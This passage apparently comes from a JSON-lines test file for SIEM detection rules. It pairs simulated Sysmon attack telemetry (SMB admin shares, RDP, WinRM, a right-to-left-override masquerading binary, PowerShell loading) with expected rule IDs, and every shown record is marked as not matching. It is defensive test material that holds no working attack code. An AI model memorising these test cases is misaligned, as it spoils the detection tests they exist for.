"win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "49610", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-10-11 17:44:24.000", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hotelmanager.xrisbarney.local", "win.system.eventID": "3", "win.system.eventRecordID": "325975", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2456", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-11T18:14:25.9773023Z", "win.system.task": "3", "win.system.threadID": "3616", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92105", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Possible suspicious access to Windows admin shares"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"445\",\"image\":\"System\",\"sourcePort\":\"51970\",\"initiated\":\"false\",\"destinationIp\":\"192.168.0.57\",\"protocol\":\"tcp\",\"processGuid\":\"{86107A5D-0B6A-60D6-EB03-000000000000}\",\"sourceIp\":\"192.168.0.218\",\"processId\":\"4\",\"utcTime\":\"2021-06-25 18:34:36.226\",\"destinationPortName\":\"microsoft-ds\",\"ruleName\":\"technique_id=T1021.002,technique_name=Remote Services: SMB/Windows Admin Shares\",\"destinationIsIpv6\":\"false\",\"user\":\"NT AUTHORITY\\\\\\\\SYSTEM\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1021.002,technique_name=Remote Services: SMB/Windows Admin Shares\\r\\nUtcTime: 2021-06-25 18:34:36.226\\r\\nProcessGuid: {86107A5D-0B6A-60D6-EB03-000000000000}\\r\\nProcessId: 4\\r\\nImage: System\\r\\nUser: NT AUTHORITY\\\\SYSTEM\\r\\nProtocol: tcp\\r\\nInitiated: false\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.218\\r\\nSourceHostname: -\\r\\nSourcePort: 51970\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.57\\r\\nDestinationHostname: -\\r\\nDestinationPort: 445\\r\\nDestinationPortName: microsoft-ds\\\"\",\"version\":\"5\",\"systemTime\":\"2021-06-25T18:34:37.376008800Z\",\"eventRecordID\":\"658731\",\"threadID\":\"3792\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2620\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.57", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "445", "win.eventdata.destinationPortName": "microsoft-ds", "win.eventdata.image": "System", "win.eventdata.initiated": "false", "win.eventdata.processGuid": "{86107A5D-0B6A-60D6-EB03-000000000000}", "win.eventdata.processId": "4", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1021.002,technique_name=Remote Services: SMB/Windows Admin Shares", "win.eventdata.sourceIp": "192.168.0.218", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "51970", "win.eventdata.user": "NT AUTHORITY\\\\SYSTEM", "win.eventdata.utcTime": "2021-06-25 18:34:36.226", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "658731", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2620", "win.system.providerGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-06-25T18:34:37.376008800Z", "win.system.task": "3", "win.system.threadID": "3792", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.destinationPortName", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92106", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Windows System process activity over SMB port"} +{"log": "{\"win\":{\"system\":{\"providerName\":\"Microsoft-Windows-Sysmon\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"eventID\":\"3\",\"version\":\"5\",\"level\":\"4\",\"task\":\"3\",\"opcode\":\"0\",\"keywords\":\"0x8000000000000000\",\"systemTime\":\"2021-04-28T20:12:51.1096098Z\",\"eventRecordID\":\"144535\",\"processID\":\"2204\",\"threadID\":\"2944\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"computer\":\"DESKTOP-2QKFOBA\",\"severityValue\":\"INFORMATION\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1202,technique_name=Indirect Command Execution\\r\\nUtcTime: 2021-04-28 20:12:52.061\\r\\nProcessGuid: {4dc16835-c18b-6089-a503-000000002e00}\\r\\nProcessId: 2488\\r\\nImage: C:\\\\Windows\\\\System32\\\\wscript.exe\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.121\\r\\nSourceHostname: -\\r\\nSourcePort: 52094\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.4\\r\\nDestinationHostname: -\\r\\nDestinationPort: 443\\r\\nDestinationPortName: -\\\"\"},\"eventdata\":{\"ruleName\":\"technique_id=T1202,technique_name=Indirect Command Execution\",\"utcTime\":\"2021-04-28 20:12:52.061\",\"processGuid\":\"{4dc16835-c18b-6089-a503-000000002e00}\",\"processId\":\"2488\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\",\"protocol\":\"tcp\",\"initiated\":\"true\",\"sourceIsIpv6\":\"false\",\"sourceIp\":\"192.168.0.121\",\"sourcePort\":\"52094\",\"destinationIsIpv6\":\"false\",\"destinationIp\":\"192.168.0.4\",\"destinationPort\":\"443\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.4", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "443", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\wscript.exe", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{4dc16835-c18b-6089-a503-000000002e00}", "win.eventdata.processId": "2488", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1202,technique_name=Indirect Command Execution", "win.eventdata.sourceIp": "192.168.0.121", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "52094", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-04-28 20:12:52.061", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "3", "win.system.eventRecordID": "144535", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2204", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-04-28T20:12:51.1096098Z", "win.system.task": "3", "win.system.threadID": "2944", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92107", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Script generated suspicious network activity over TCP protocol"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"3389\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"sourcePort\":\"54642\",\"initiated\":\"false\",\"destinationIp\":\"192.168.0.121\",\"protocol\":\"tcp\",\"processGuid\":\"{4dc16835-fe80-60ee-d322-300000000000}\",\"sourceIp\":\"192.168.0.57\",\"processId\":\"5836\",\"utcTime\":\"2021-07-14 15:44:40.699\",\"ruleName\":\"technique_id=T1021,technique_name=Remote Services\",\"destinationIsIpv6\":\"false\",\"user\":\"NT AUTHORITY\\\\\\\\NETWORK SERVICE\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1021,technique_name=Remote Services\\r\\nUtcTime: 2021-07-14 15:44:40.699\\r\\nProcessGuid: {4dc16835-fe80-60ee-d322-300000000000}\\r\\nProcessId: 5836\\r\\nImage: C:\\\\Windows\\\\System32\\\\svchost.exe\\r\\nUser: NT AUTHORITY\\\\NETWORK SERVICE\\r\\nProtocol: tcp\\r\\nInitiated: false\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.57\\r\\nSourceHostname: -\\r\\nSourcePort: 54642\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.121\\r\\nDestinationHostname: -\\r\\nDestinationPort: 3389\\r\\nDestinationPortName: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-14T15:44:42.0974780Z\",\"eventRecordID\":\"271706\",\"threadID\":\"3068\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2112\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.121", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "3389", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.initiated": "false", "win.eventdata.processGuid": "{4dc16835-fe80-60ee-d322-300000000000}", "win.eventdata.processId": "5836", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1021,technique_name=Remote Services", "win.eventdata.sourceIp": "192.168.0.57", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "54642", "win.eventdata.user": "NT AUTHORITY\\\\NETWORK SERVICE", "win.eventdata.utcTime": "2021-07-14 15:44:40.699", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "271706", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2112", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-14T15:44:42.0974780Z", "win.system.task": "3", "win.system.threadID": "3068", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92108", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "RDP port network activity"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"3389\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"sourcePort\":\"25387\",\"initiated\":\"false\",\"destinationIp\":\"0:0:0:0:0:0:0:1\",\"protocol\":\"tcp\",\"processGuid\":\"{86107A5D-6C0C-60DF-04DD-600100000000}\",\"sourceIp\":\"0:0:0:0:0:0:0:1\",\"processId\":\"7728\",\"sourceHostname\":\"bankdc.ExchangeTest.com\",\"utcTime\":\"2021-07-02 20:19:28.870\",\"destinationPortName\":\"ms-wbt-server\",\"ruleName\":\"technique_id=T1021,technique_name=Remote Services\",\"destinationIsIpv6\":\"true\",\"user\":\"NT AUTHORITY\\\\\\\\NETWORK SERVICE\",\"destinationHostname\":\"bankdc.ExchangeTest.com\",\"sourceIsIpv6\":\"true\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1021,technique_name=Remote Services\\r\\nUtcTime: 2021-07-02 20:19:28.870\\r\\nProcessGuid: {86107A5D-6C0C-60DF-04DD-600100000000}\\r\\nProcessId: 7728\\r\\nImage: C:\\\\Windows\\\\System32\\\\svchost.exe\\r\\nUser: NT AUTHORITY\\\\NETWORK SERVICE\\r\\nProtocol: tcp\\r\\nInitiated: false\\r\\nSourceIsIpv6: true\\r\\nSourceIp: 0:0:0:0:0:0:0:1\\r\\nSourceHostname: bankdc.ExchangeTest.com\\r\\nSourcePort: 25387\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: true\\r\\nDestinationIp: 0:0:0:0:0:0:0:1\\r\\nDestinationHostname: bankdc.ExchangeTest.com\\r\\nDestinationPort: 3389\\r\\nDestinationPortName: ms-wbt-server\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-02T20:19:29.969938200Z\",\"eventRecordID\":\"1122514\",\"threadID\":\"3504\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2528\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationHostname": "bankdc.ExchangeTest.com", "win.eventdata.destinationIp": "0:0:0:0:0:0:0:1", "win.eventdata.destinationIsIpv6": "true", "win.eventdata.destinationPort": "3389", "win.eventdata.destinationPortName": "ms-wbt-server", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.initiated": "false", "win.eventdata.processGuid": "{86107A5D-6C0C-60DF-04DD-600100000000}", "win.eventdata.processId": "7728", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1021,technique_name=Remote Services", "win.eventdata.sourceHostname": "bankdc.ExchangeTest.com", "win.eventdata.sourceIp": "0:0:0:0:0:0:0:1", "win.eventdata.sourceIsIpv6": "true", "win.eventdata.sourcePort": "25387", "win.eventdata.user": "NT AUTHORITY\\\\NETWORK SERVICE", "win.eventdata.utcTime": "2021-07-02 20:19:28.870", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "1122514", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2528", "win.system.providerGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-02T20:19:29.969938200Z", "win.system.task": "3", "win.system.threadID": "3504", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationHostname", "win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.destinationPortName", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceHostname", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92109", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Loopback IP RDP port network activity"} +{"log": "{\"win\":{\"eventdata\":{\"destinationPort\":\"1234\",\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\‭‭‮cod.abaf.scr\",\"sourcePort\":\"57275\",\"initiated\":\"true\",\"destinationIp\":\"192.168.0.4\",\"protocol\":\"tcp\",\"processGuid\":\"{4dc16835-c80d-6171-29c3-300100000000}\",\"sourceIp\":\"192.168.0.121\",\"processId\":\"7100\",\"utcTime\":\"2021-10-21 20:05:36.768\",\"ruleName\":\"technique_id=T1036,technique_name=Masquerading\",\"destinationIsIpv6\":\"false\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"sourceIsIpv6\":\"false\"},\"system\":{\"eventID\":\"3\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1036,technique_name=Masquerading\\r\\nUtcTime: 2021-10-21 20:05:36.768\\r\\nProcessGuid: {4dc16835-c80d-6171-29c3-300100000000}\\r\\nProcessId: 7100\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nProtocol: tcp\\r\\nInitiated: true\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.121\\r\\nSourceHostname: -\\r\\nSourcePort: 57275\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.4\\r\\nDestinationHostname: -\\r\\nDestinationPort: 1234\\r\\nDestinationPortName: -\\\"\",\"version\":\"5\",\"systemTime\":\"2021-10-21T20:05:37.9825478Z\",\"eventRecordID\":\"397063\",\"threadID\":\"3712\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"3\",\"processID\":\"2296\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.4", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "1234", "win.eventdata.image": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr", "win.eventdata.initiated": "true", "win.eventdata.processGuid": "{4dc16835-c80d-6171-29c3-300100000000}", "win.eventdata.processId": "7100", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1036,technique_name=Masquerading", "win.eventdata.sourceIp": "192.168.0.121", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "57275", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-10-21 20:05:36.768", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "3", "win.system.eventRecordID": "397063", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2296", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-21T20:05:37.9825478Z", "win.system.task": "3", "win.system.threadID": "3712", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92104", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Left to right override binary does network connection"} +{"log": "{ \"win\": { \"eventdata\": { \"destinationPort\": \"5985\", \"image\": \"<unknown process>\", \"sourcePort\": \"58411\", \"initiated\": \"false\", \"destinationIp\": \"192.168.0.101\", \"protocol\": \"tcp\", \"processGuid\": \"{4ead7fc4-b197-6182-eb03-000000000000}\", \"sourceIp\": \"192.168.0.107\", \"processId\": \"4\", \"utcTime\": \"2021-11-03 12:28:20.757\", \"ruleName\": \"technique_id=T1021.006,technique_name=Windows Remote Management\", \"destinationIsIpv6\": \"false\", \"sourceIsIpv6\": \"false\" }, \"system\": { \"eventID\": \"3\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Network connection detected:\\r\\nRuleName: technique_id=T1021.006,technique_name=Windows Remote Management\\r\\nUtcTime: 2021-11-03 12:28:20.757\\r\\nProcessGuid: {4ead7fc4-b197-6182-eb03-000000000000}\\r\\nProcessId: 4\\r\\nImage: \\r\\nUser: -\\r\\nProtocol: tcp\\r\\nInitiated: false\\r\\nSourceIsIpv6: false\\r\\nSourceIp: 192.168.0.107\\r\\nSourceHostname: -\\r\\nSourcePort: 58411\\r\\nSourcePortName: -\\r\\nDestinationIsIpv6: false\\r\\nDestinationIp: 192.168.0.101\\r\\nDestinationHostname: -\\r\\nDestinationPort: 5985\\r\\nDestinationPortName: -\\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-03T12:28:20.286619200Z\", \"eventRecordID\": \"148171\", \"threadID\": \"248\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"3\", \"processID\": \"2376\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.destinationIp": "192.168.0.101", "win.eventdata.destinationIsIpv6": "false", "win.eventdata.destinationPort": "5985", "win.eventdata.image": "<unknown process>", "win.eventdata.initiated": "false", "win.eventdata.processGuid": "{4ead7fc4-b197-6182-eb03-000000000000}", "win.eventdata.processId": "4", "win.eventdata.protocol": "tcp", "win.eventdata.ruleName": "technique_id=T1021.006,technique_name=Windows Remote Management", "win.eventdata.sourceIp": "192.168.0.107", "win.eventdata.sourceIsIpv6": "false", "win.eventdata.sourcePort": "58411", "win.eventdata.utcTime": "2021-11-03 12:28:20.757", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "3", "win.system.eventRecordID": "148171", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2376", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-03T12:28:20.286619200Z", "win.system.task": "3", "win.system.threadID": "248", "win.system.version": "5"}, "field_names": ["win.eventdata.destinationIp", "win.eventdata.destinationIsIpv6", "win.eventdata.destinationPort", "win.eventdata.image", "win.eventdata.initiated", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.protocol", "win.eventdata.ruleName", "win.eventdata.sourceIp", "win.eventdata.sourceIsIpv6", "win.eventdata.sourcePort", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92110", "rule_matches_expected": false, "ini_file": "sysmon_eid_3.ini", "section": "Detected WinRM activity"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"System.Management.Automation.dll\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\tiny.exe\",\"product\":\"Microsoft (R) Windows (R) Operating System\",\"imageLoaded\":\"C:\\\\\\\\Windows\\\\\\\\assembly\\\\\\\\NativeImages_v4.0.30319_64\\\\\\\\System.Manaa57fc8cc#\\\\\\\\b9fb242f469332d0a2e43fbb5bed25bd\\\\\\\\System.Management.Automation.ni.dll\",\"description\":\"System.Management.Automation\",\"signed\":\"false\",\"signatureStatus\":\"Unavailable\",\"processGuid\":\"{86107A5D-D195-60DC-0B08-B60000000000}\",\"processId\":\"8436\",\"utcTime\":\"2021-06-30 20:19:04.450\",\"hashes\":\"SHA1=6B7D60621FB17C0DE264109E1404AC9D1FD52AB3,MD5=67CFC833A98E43C452388F918FB7E4C1,SHA256=71DACD5ECFFE84A09F38C927F5C7561594391E3DD7DD9DF962BEC7F120F34186,IMPHASH=00000000000000000000000000000000\",\"ruleName\":\"technique_id=T1059.001,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"fileVersion\":\"10.0.14393.693\"},\"system\":{\"eventID\":\"7\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Image loaded:\\r\\nRuleName: technique_id=T1059.001,technique_name=PowerShell\\r\\nUtcTime: 2021-06-30 20:19:04.450\\r\\nProcessGuid: {86107A5D-D195-60DC-0B08-B60000000000}\\r\\nProcessId: 8436\\r\\nImage: C:\\\\Windows\\\\tiny.exe\\r\\nImageLoaded: C:\\\\Windows\\\\assembly\\\\NativeImages_v4.0.30319_64\\\\System.Manaa57fc8cc#\\\\b9fb242f469332d0a2e43fbb5bed25bd\\\\System.Management.Automation.ni.dll\\r\\nFileVersion: 10.0.14393.693\\r\\nDescription: System.Management.Automation\\r\\nProduct: Microsoft (R) Windows (R) Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: System.Management.Automation.dll\\r\\nHashes: SHA1=6B7D60621FB17C0DE264109E1404AC9D1FD52AB3,MD5=67CFC833A98E43C452388F918FB7E4C1,SHA256=71DACD5ECFFE84A09F38C927F5C7561594391E3DD7DD9DF962BEC7F120F34186,IMPHASH=00000000000000000000000000000000\\r\\nSigned: false\\r\\nSignature: -\\r\\nSignatureStatus: 